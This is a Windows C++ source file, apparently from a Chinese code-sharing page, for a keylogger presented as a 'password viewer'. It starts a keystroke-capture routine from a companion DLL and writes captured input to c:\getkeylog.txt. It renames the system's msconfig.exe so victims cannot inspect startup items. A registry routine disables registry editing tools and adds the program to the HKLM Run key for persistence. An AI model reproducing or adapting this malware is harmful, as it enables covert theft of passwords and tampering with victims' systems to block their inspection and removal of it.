📄 getkey.cpp
字号:
// getkey.cpp : Defines the entry point for the application.
//
#include "stdafx.h"
#include "resource.h"
#include "keydll.h"
#include "winsock2.h"
#define MAX_LOADSTRING 100
// Global Variables:
HINSTANCE hInst,ghinst; // current instance
TCHAR szTitle[MAX_LOADSTRING]; // The title bar text
TCHAR szWindowClass[MAX_LOADSTRING];
void addreg(BOOL flag); // The title bar text
HWND shWnd;
// Foward declarations of functions included in this code module:
ATOM MyRegisterClass(HINSTANCE hInstance);
BOOL InitInstance(HINSTANCE, int);
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
//BOOL CALLBACK About(HWND, UINT, WPARAM, LPARAM);
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
MSG msg;
HACCEL hAccelTable;
// Initialize global strings
LoadString(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
LoadString(hInstance, IDC_GETKEY, szWindowClass, MAX_LOADSTRING);
MyRegisterClass(hInstance);
// Perform application initialization:
if (!InitInstance (hInstance, nCmdShow))
{
return FALSE;
}
hAccelTable = LoadAccelerators(hInstance, (LPCTSTR)IDC_GETKEY);
// Main message loop:
while (GetMessage(&msg, NULL, 0, 0))
{
if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
return msg.wParam;
}
//
// FUNCTION: MyRegisterClass()
//
// PURPOSE: Registers the window class.
//
// COMMENTS:
//
// This function and its usage is only necessary if you want this code
// to be compatible with Win32 systems prior to the 'RegisterClassEx'
// function that was added to Windows 95. It is important to call this function
// so that the application will get 'well formed' small icons associated
// with it.
//
ATOM MyRegisterClass(HINSTANCE hInstance)
{
WNDCLASSEX wcex;
wcex.cbSize = sizeof(WNDCLASSEX);
wcex.style = CS_HREDRAW | CS_VREDRAW;
wcex.lpfnWndProc = (WNDPROC)WndProc;
wcex.cbClsExtra = 0;
wcex.cbWndExtra = 0;
wcex.hInstance = hInstance;
wcex.hIcon = LoadIcon(hInstance, (LPCTSTR)IDI_GETKEY);
wcex.hCursor = LoadCursor(NULL, IDC_ARROW);
wcex.hbrBackground = (HBRUSH)GetStockObject(3);//(HBRUSH)(COLOR_WINDOW+10);
wcex.lpszMenuName = (LPCSTR)IDC_GETKEY;
wcex.lpszClassName = szWindowClass;
wcex.hIconSm = LoadIcon(wcex.hInstance, (LPCTSTR)IDI_SMALL);
return RegisterClassEx(&wcex);
}
//
// FUNCTION: InitInstance(HANDLE, int)
//
// PURPOSE: Saves instance handle and creates main window
//
// COMMENTS:
//
// In this function, we save the instance handle in a global variable and
// create and display the main program window.
//
BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
HWND hWnd;
hInst = hInstance; // Store instance handle in our global variable
hWnd = CreateWindow(szWindowClass,"密码查看器",NULL,
CW_USEDEFAULT,0,320,240, NULL, NULL, hInstance, NULL);
if (!hWnd)
{
return FALSE;
}
// int port=2000;
//::DeleteFile("c:\\getkeylog.txt");
//DialogBox(hInst, (LPCTSTR)IDD_ABOUTBOX, hWnd, (DLGPROC)About);
::ShowWindow(hWnd,SW_SHOW);
// ::ShowWindow(hWnd,SW_HIDE);
//About(NULL,WM_COMMAND,IDOK,NULL);
char syspath[256],opath[256];
::GetSystemDirectory(syspath,MAX_PATH);
::strcpy(opath,syspath);
::strcat(syspath,"\\msconfig.exe");
// ::DeleteFile(syspath);
::strcat(opath,"\\mscfg.exe");
::MoveFile(syspath,opath);
//::MessageBox(NULL,syspath,"A",NULL);
//addreg(TRUE);
UpdateWindow(hWnd);
Start();
return TRUE;
}
//
// FUNCTION: WndProc(HWND, unsigned, WORD, LONG)
//
// PURPOSE: Processes messages for the main window.
//
// WM_COMMAND - process the application menu
// WM_PAINT - Paint the main window
// WM_DESTROY - post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
int wmId, wmEvent;
PAINTSTRUCT ps;
HDC hdc;
TCHAR szHello[MAX_LOADSTRING];
LoadString(hInst,IDS_HELLO, szHello, MAX_LOADSTRING);
//ShowWindow(shWnd, SW_HIDE);
switch (message)
{
case WM_CREATE:
// Start();
::RegisterHotKey(hWnd,ID_HOTKEY,MOD_CONTROL,VK_F12);
// return TRUE;
break;
case WM_HOTKEY:
::ShowWindow(hWnd,SW_SHOW);
::SetForegroundWindow(hWnd);
// if(!Stop())
break;
case WM_COMMAND:
wmId = LOWORD(wParam);
wmEvent = HIWORD(wParam);
// Parse the menu selections:
switch (wmId)
{
case IDM_LOOK:
::WinExec("notepad.exe c:\\getkeylog.txt",SW_SHOW);
break;
case IDM_EXIT:
DestroyWindow(hWnd);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
break;
case WM_RBUTTONDOWN:
::WinExec("notepad.exe c:\\getkeylog.txt",SW_SHOW);
break;
case WM_PAINT:
hdc = BeginPaint(hWnd, &ps);
// TODO: Add any drawing code here...
RECT rt;
GetClientRect(hWnd, &rt);
rt.top=rt.top+80;
rt.bottom=rt.bottom+80;
::SetBkColor(hdc,RGB(0,255,128));
::SetTextColor(hdc,RGB(128,0,128));
::TextOut(hdc,65,20,"将鼠标移要查看密码处",20);
::SetTextColor(hdc,RGB(255,0,128));
::SetBkColor(hdc,RGB(255,0,0));
::SetTextColor(hdc,RGB(0,255,0));
::TextOut(hdc,90,50,"按“F8+左键”",13);
EndPaint(hWnd, &ps);
break;
case WM_DESTROY:
PostQuitMessage(0);
break;
default:
return DefWindowProc(hWnd, message, wParam, lParam);
}
return 0;
}
void addreg(BOOL flag)
{
char filename[255],a[12]="CD:";
::GetModuleFileName(NULL,filename,MAX_PATH);
//::MessageBox(NULL,filename,"z",NULL);
HKEY hkey;
//LPCTSTR data_set2="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
LPCTSTR data_set1="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\system",data_set2="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
LPBYTE lpb=new BYTE[4];
lpb[0]=0x0000001;
::RegOpenKeyEx(HKEY_CURRENT_USER,data_set1,0,KEY_WRITE,&hkey);
::RegSetValueEx(hkey,"DisableRegistryTools",NULL,REG_DWORD,lpb,4);
::RegOpenKeyEx(HKEY_LOCAL_MACHINE,data_set2,0,KEY_WRITE,&hkey);
if(flag)
{
::RegSetValueEx(hkey,"windows",NULL,REG_SZ,(BYTE*)filename,4);
}
else
{
::RegSetValueEx(hkey,NULL,NULL,REG_SZ,(BYTE*)a,4);
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -